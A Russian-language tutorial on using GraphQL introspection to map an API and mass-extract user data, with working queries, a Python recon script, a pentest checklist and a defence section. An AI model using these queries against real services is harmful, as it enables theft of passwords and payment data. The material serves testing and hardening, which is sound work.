GraphQL: Как через одну introspection-query слить всю базу
Привет, друг!
Что такое introspection и почему это дыра
GraphQL по умолчанию включает механизм introspection — это встроенная фича, которая позволяет узнать всю схему API: типы данных, поля, запросы, мутации. Изначально задумывалось для разработки, но на продакшене это превращается в золотую жилу для атакующего.
Одним запросом ты получаешь полную карту API: какие таблицы есть в базе, какие поля содержат данные, какие связи между сущностями. После этого остаётся только собрать нужные запросы и методично вытаскивать информацию.
Базовый introspection-запрос
Вот классический запрос для получения всей схемы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
{ __schema { types { name kind description fields { name type { name kind ofType { name kind } } args { name type { name kind ofType { name kind } } } } } } } |
Этот запрос вернёт тебе все типы данных в схеме. Ищешь там интересные объекты типа User, Payment, Admin — и вперёд.
Пошаговая эксплуатация
Шаг 1: Разведка схемы
Первым делом узнаём, какие queries доступны:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
{ __schema { queryType { fields { name description args { name type { name ofType { name } } } } } } } |
Результат покажет все доступные запросы. Например:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
{ "data": { "__schema": { "queryType": { "fields": [ { "name": "users", "description": "Get all users", "args": [{"name": "limit", "type": {"name": "Int"}}] }, { "name": "user", "description": "Get user by ID", "args": [{"name": "id", "type": {"name": "ID"}}] } ] } } } } |
Шаг 2: Изучаем типы данных
Теперь смотрим, что внутри интересных объектов:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
{ __type(name: "User") { name fields { name type { name kind } } } } |
Ответ:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
{ "data": { "__type": { "name": "User", "fields": [ {"name": "id", "type": {"name": "ID"}}, {"name": "email", "type": {"name": "String"}}, {"name": "password", "type": {"name": "String"}}, {"name": "role", "type": {"name": "String"}}, {"name": "creditCard", "type": {"name": "String"}} ] } } } |
Бинго! Видим поля password и creditCard — это уже интересно.
Шаг 3: Массовая выгрузка
Теперь, зная структуру, делаем запрос на выгрузку всех пользователей:
|
1 2 3 4 5 6 7 8 9 |
{ users(limit: 10000) { id email password role creditCard } } |
Если нет лимитов — можно вытащить всю базу за один запрос. Если есть пагинация — делаем в цикле.
Продвинутые техники
Батчинг запросов
GraphQL позволяет делать несколько запросов одновременно:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
{ users { id email } admins { id email permissions } payments { id amount cardNumber } } |
Один HTTP-запрос — три таблицы за раз.
Глубокие вложенные запросы
Если есть связи между объектами, используй их:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
{ users { id email orders { id amount items { productName price } } paymentMethods { cardNumber expiryDate } } } |
Один запрос — вся история покупок и платёжные данные каждого пользователя.
Обход фильтров
Иногда разработчики пытаются защититься, скрывая чувствительные поля. Но если есть связи через другие объекты, можно обойти:
|
1 2 3 4 5 6 7 8 |
{ orders { user { email password # Якобы скрыт в прямом запросе users } } } |
Автоматизация через скрипты
Вот быстрый Python-скрипт для автоматической разведки:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
import requests import json url = "https://target.com/graphql" introspection_query = """ { __schema { types { name fields { name type { name ofType { name } } } } } } """ response = requests.post(url, json={"query": introspection_query}) schema = response.json() # Ищем интересные типы sensitive_keywords = ['user', 'admin', 'payment', 'card', 'password'] for type_obj in schema['data']['__schema']['types']: type_name = type_obj['name'].lower() if any(keyword in type_name for keyword in sensitive_keywords): print(f"\n[!] Found interesting type: {type_obj['name']}") if type_obj['fields']: for field in type_obj['fields']: print(f" - {field['name']}: {field['type']}") |
Как защититься
Отключи introspection на проде
В Apollo Server:
|
1 2 3 4 5 |
const server = new ApolloServer({ typeDefs, resolvers, introspection: process.env.NODE_ENV !== 'production', }); |
В GraphQL-yoga:
|
1 2 3 4 5 6 |
const server = createServer({ schema, plugins: [ process.env.NODE_ENV === 'production' && useDisableIntrospection() ] }); |
Ограничь глубину запросов
|
1 2 3 4 5 6 7 |
const depthLimit = require('graphql-depth-limit'); const server = new ApolloServer({ typeDefs, resolvers, validationRules: [depthLimit(5)] }); |
Добавь rate limiting
|
1 2 3 4 5 6 7 8 |
const { shield, rule } = require('graphql-shield'); const rateLimitRule = rule({ cache: 'contextual' })( async (parent, args, ctx) => { // Проверка лимитов по IP/токену return ctx.rateLimiter.check(); } ); |
Скрой чувствительные поля
|
1 2 3 4 5 6 7 8 9 |
const resolvers = { User: { password: () => null, // Никогда не возвращай пароли creditCard: (user, args, context) => { if (!context.user.isAdmin) return null; return user.creditCard; } } }; |
Реальные кейсы
HackerOne: В 2019 году через introspection нашли уязвимость в API, которая позволяла получить данные всех отчётов о багах, включая приватные.
GitHub: До 2020 года их GraphQL API возвращал слишком много информации через introspection, что позволяло находить внутренние эндпоинты.
Shopify: Исследователи обнаружили, что через вложенные запросы можно было получить данные чужих магазинов.
Чеклист для пентеста
- Проверь, включён ли introspection
- Найди все queries и mutations через
__schema - Изучи структуру интересных типов через
__type - Попробуй batch-запросы для массовой выгрузки
- Используй глубокие вложенные запросы для связанных данных
- Проверь обход фильтров через связи объектов
- Тестируй различные аргументы (limit, offset, where)
- Ищи внутренние поля через директивы
@include,@skip
Инструменты
- GraphQL Voyager — визуализация схемы
- InQL — Burp Suite плагин для GraphQL
- GraphQLmap — автоматический эксплойт-тул
- Altair — клиент с автокомплитом на основе introspection

На этом все. Всем хорошего дня!
